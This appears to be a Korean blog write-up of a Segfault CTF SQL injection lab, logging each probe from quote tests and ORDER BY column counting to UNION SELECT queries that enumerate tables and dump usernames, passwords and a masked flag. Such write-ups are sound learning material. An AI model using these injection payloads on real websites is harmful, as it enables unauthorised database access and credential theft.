※ CTF - Capture The Flag
※ 문제 푸는 방법이 다양할 수도 있습니다.
→ SQL Injection 1과 마찬가지로 별다른 특이점은 없었다.
→ 처음에는 # 주석이 안 먹히는 줄 알고 당황했으나, nomaltic'# 가 결과가 나오는 것 을 보고 SQL injection이 가능 함을 인지
▶ 아래는 진행 과정
normaltic 됨 -> my name is normaltic
normaltic' 안 됨 (SQL 문법 에러)
normaltic'' -> 출력은 되지만 info 값이 없음
normaltic'# 됨 -> my name is normaltic
normaltic'' 됨 -> 출력은 되지만 info 값이 없음
normaltic''' 안 됨 (SQL 문법 에러)
normaltic'''' 됨 -> 출력은 되지만 info 값이 없음
normaltic''''' 안 됨 (SQL 문법 에러)
normaltic'''''' 됨 -> 출력은 되지만 info 값이 없음
normaltic' '' '' ' 됨 -> my name is normaltic
normaltic' '' '' # 됨 -> my name is normaltic
☞ SQL injection 가능
normaltic' or '1'='1 됨 -> my name is normaltic
normaltic' or '1'='1'# 됨 -> my name is normaltic
normaltic' or true # 됨 -> my name is normaltic
normaltic' or true; # 됨 -> my name is normaltic
☞ 세미콜론이 되는 것 보니 개행은 아닌 듯
normaltic' order by 6 # 됨 -> my name is normaltic
normaltic' order by 7 # 안 됨 (SQL 문법 에러)
☞ 컬럼 개수는 6개인데, 출력은 4개만 되는 것 같음.(하지만, 1개만 보여주는 것이었다)
normaltic' and id like'%'# 됨 -> my name is normaltic
normaltic' or id like'%'# -> my name is normaltic
1' or id like '%'# 됨 -> my name is normaltic
1' or id like '______'# 됨 -> Music is my life
1' or id like '_________'# 됨 -> my name is normaltic
' UNION select 1,2,3,4,5# 안 됨 (SQL 문법 에러)
' UNION select 1,2,3,4,5,6# 됨 -> 출력은 6만 됨.
' UNION select 1,2,3,4,5,6,7# 안 됨 (SQL 문법 에러)
' UNION SELECT 1,2,3,4,5,6 UNION SELECT 7,8,9,10,11,12 # 됨 -> 출력은 6만 됨.
☞ 결과 값에 LIMIT를 걸어서 1개만 출력시키는 듯
' UNION SELECT 1,2,3,4,5,database();# -> 현 DB명 sqli_5
' UNION SELECT 1,2,3,4,5,table_name FROM information_schema.tables WHERE table_schema='sqli_5' limit 1 offset 0;# -> flag_honey
' UNION SELECT 1,2,3,4,5,table_name FROM information_schema.tables WHERE table_schema='sqli_5' limit 1 offset 1;# -> game_user
' UNION SELECT 1,2,3,4,5,table_name FROM information_schema.tables WHERE table_schema='sqli_5' limit 1 offset 2;# -> secret
' UNION SELECT 1,2,3,4,5,table_name FROM information_schema.tables WHERE table_schema='sqli_5' limit 1 offset 3;# -> 안 됨
☞ 테이블 3개 flag_honey, game_user, secret
' UNION SELECT 1,2,3,4,5,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'sqli_5' AND TABLE_NAME = 'flag_honey' limit 1 offset 0; # -> flag
' UNION SELECT 1,2,3,4,5,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'sqli_5' AND TABLE_NAME = 'flag_honey' limit 1 offset 1; # 값 없음
☞ flag_honey 테이블의 컬럼 1개 flag
' UNION SELECT 1,2,3,4,5,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'sqli_5' AND TABLE_NAME = 'game_user' limit 1 offset 0; # -> idx
' UNION SELECT 1,2,3,4,5,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'sqli_5' AND TABLE_NAME = 'game_user' limit 1 offset 1; # -> id
' UNION SELECT 1,2,3,4,5,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'sqli_5' AND TABLE_NAME = 'game_user' limit 1 offset 2; # -> pass
' UNION SELECT 1,2,3,4,5,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'sqli_5' AND TABLE_NAME = 'game_user' limit 1 offset 3; # -> level
' UNION SELECT 1,2,3,4,5,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'sqli_5' AND TABLE_NAME = 'game_user' limit 1 offset 4; # -> rank_point
' UNION SELECT 1,2,3,4,5,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'sqli_5' AND TABLE_NAME = 'game_user' limit 1 offset 5; # -> info
' UNION SELECT 1,2,3,4,5,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'sqli_5' AND TABLE_NAME = 'game_user' limit 1 offset 6; # -> 값 없음
☞ game_user 테이블의 컬럼 6개 idx, id, pass, level, rank_point, info
' UNION SELECT 1,2,3,4,5,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'sqli_5' AND TABLE_NAME = 'secret' limit 1 offset 0; # -> flag
' UNION SELECT 1,2,3,4,5,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'sqli_5' AND TABLE_NAME = 'secret' limit 1 offset 1; # -> 값 없음
☞ secret 테이블의 컬럼 1개 flag
' UNION SELECT 1,2,3,4,5,flag FROM flag_honey limit 1 offset 0 # -> kkkkkkk_Not Here!
' UNION SELECT 1,2,3,4,5,flag FROM flag_honey limit 1 offset 1 # -> 값 없음
☞ flag_honey 테이블의 flag 컬럼의 값 1개 kkkkkkk_Not Here!
' UNION SELECT 1,2,3,4,5,idx FROM game_user limit 1 offset 0 # ->1
' UNION SELECT 1,2,3,4,5,idx FROM game_user limit 1 offset 1 # ->2
☞ game_user 테이블의 idx 컬럼의 값 2개 1, 2
' UNION SELECT 1,2,3,4,5,id FROM game_user limit 1 offset 0 # ->normaltic
' UNION SELECT 1,2,3,4,5,id FROM game_user limit 1 offset 1 # ->doldol
☞ game_user 테이블의 id 컬럼의 값 2개 normaltic, doldol
' UNION SELECT 1,2,3,4,5,pass FROM game_user limit 1 offset 0 # ->8383
' UNION SELECT 1,2,3,4,5,pass FROM game_user limit 1 offset 1 # ->jjfijeii
☞ game_user 테이블의 pass 컬럼의 값 2개 8383, jjfijeii
(이하 일부 생략)
' UNION SELECT 1,2,3,4,5,flag FROM secret limit 1 offset 0 # -> NONONO~~~~
' UNION SELECT 1,2,3,4,5,flag FROM secret limit 1 offset 1 # -> segfault{U******} // 플래그
' UNION SELECT 1,2,3,4,5,flag FROM secret limit 1 offset 2 # -> 값 없음
☞ secret 테이블의 flag 컬럼의 값 2개 NONONO~~~~, segfault{U******}
→ 이 문제는 SQL Injection 1 [바로가기]과 유사하지만,
→ DB에는 컬럼 6개가 존재하지만, 출력은 4개 컬럼을 보여주는 척하면서, 단 하나만 보여주는 문제였다.
Segfault CTF - (7주 차) SQL Injection (Blind Practice) (1) | 2024.06.05 |
---|---|
Segfault CTF - (7주 차) SQL Injection (Error Based SQLi Basic) (0) | 2024.06.05 |
Segfault CTF - (6주 차) SQL Injection 1 (0) | 2024.05.27 |
Segfault CTF - (5주 차) Secret Login (0) | 2024.05.21 |
Segfault CTF - (5주 차) Login Bypass 5 (0) | 2024.05.21 |